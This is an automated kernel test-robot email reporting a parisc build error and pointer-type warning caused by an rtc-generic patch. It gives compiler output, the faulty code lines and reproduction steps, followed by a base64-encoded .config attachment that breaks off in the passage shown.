Content-Disposition: inline

Hi Arnd,

[auto build test ERROR on abelloni/rtc-next]
[also build test ERROR on v4.5-rc6 next-20160301]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Arnd-Bergmann/rtc-generic-follow-up-for-COMPILE_TEST/20160302-011032
base:   https://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux.git rtc-next
config: parisc-allyesconfig (attached as .config)
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All error/warnings (new ones prefixed by >>):

   arch/parisc/kernel/time.c: In function 'rtc_generic_get_time':
>> arch/parisc/kernel/time.c:232:9: error: 'wtime' undeclared (first use in this function)
     memset(wtime, 0, sizeof(*wtime));
            ^
   arch/parisc/kernel/time.c:232:9: note: each undeclared identifier is reported only once for each function it appears in
>> arch/parisc/kernel/time.c:237:2: warning: passing argument 2 of 'rtc_time64_to_tm' from incompatible pointer type
     rtc_time64_to_tm(tod_data.tod_sec, &tm);
     ^
   In file included from arch/parisc/kernel/time.c:15:0:
   include/linux/rtc.h:23:13: note: expected 'struct rtc_time *' but argument is of type 'struct rtc_time **'
    extern void rtc_time64_to_tm(time64_t time, struct rtc_time *tm);
                ^

vim +/wtime +232 arch/parisc/kernel/time.c

   226	}
   227	
   228	static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
   229	{
   230		struct pdc_tod tod_data;
   231	
 > 232		memset(wtime, 0, sizeof(*wtime));
   233		if (pdc_tod_read(&tod_data) < 0)
   234			return -EOPNOTSUPP;
   235	
   236		/* we treat tod_sec as unsigned, so this can work until year 2106 */
 > 237		rtc_time64_to_tm(tod_data.tod_sec, &tm);
   238		return rtc_valid_tm(tm);
   239	}
   240	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--TB36FDmn/VVEgNH/
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICBrO1VYAAy5jb25maWcAlFxbc+M2sn7Pr1BNzsNuVZLxbZTJOeUHEAQlrEiCJkBZnheW
RqOZuOKxvZacs/n3pxskpcaFcs5WZcf8vsYdaHQ3AP34w48T9rp/+r7e32/WDw9/Tb5tH7cv
6/32y+Tr/cP2fyapmpTKTEQqzS8gnN8/vv7n/fP65X63mVz98uGXs59fNueTxfblcfsw4U+P
X++/vUL6+6fHH378gasyk7O2YrXU/Pqv4bsomuOHNowv2lmtbnVTHeH6VouinYlS1JK3upJl
rvgC+B8nvQSr+bydM93KXM0u2ubyYnK/mzw+7Se77X5cbHpFxXqhoZykmR2rMIDzWyFncxMS
nOUyqZkRbSpydncUMLIQba5u21por6WmZly00NRK1STLUoi0TQvWFqxCQSM8Ts8snYtyZuZH
rpoZluRQmFiKXF9fDHgqsv6vXGpz/e79w/3n99+fvrw+bHfv/6spGVSwFrlgWrz/ZWOH7d2Q
Fv7Rpm64UTWpvaxv2ltV4xDAyP44mdmJ8oC9+Pp8HGtZStOKcgn9jmUX0lxfHmrFa6U15F9U
MhfX70iJFmmN0KRPYMBZvhS1lqokwhRuWWPUMQW0mjW5aedKG2zi9bt/PD49bv95SKtvGZlj
+k4vZcUDAP/lJie9rLRctcVNIxoRR4MkXVMLUaj6rmUGhp6MWjZnZZqTrBotYCodv1kD6+34
OWdL0U1kS2BZLM898Tja3jJDi+5AUwsxDCQM7GT3+nn3126//X4cyGGS47hXtUqEOxVSVTBZ
hmui0BL5mDAMT7e+bLG8at6b9e6Pyf7++3ayfvwy2e3X+91kvdk8vT7u7x+/HetiJKgISNAy
zlVTGlmSZZroFCvIBfQ38GacaZeXZI0yvcCFpl2oW8peRpZYRTCp3CrZltW8meiwQ7HPW+CI
juNNK1aVoIpAOxK2kmEiqHee46opVOkyGStVQ5fcEQQdwbLr86lfn9aqJDebhZnXgmHvSXV9
RplS8QSHwpUfUPijFFRJO+QnUauojnakoGmjQthbMH9FmyjYlEI9njQyT9tElhdkVctF90eI
2NlBFQ7mkLV6LjNzff4rxbFmBVtR/qjWYPdqKjKRKjYTrZ0Woibbnij4zPv0NNIRAx2Kij0l
szlf9CVRhQcrKsp03+1tDb2VMLtzuozmc5p7xmTdRhme6TYBfXUrU7rz1GZEvEMrmeoAzGDK
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
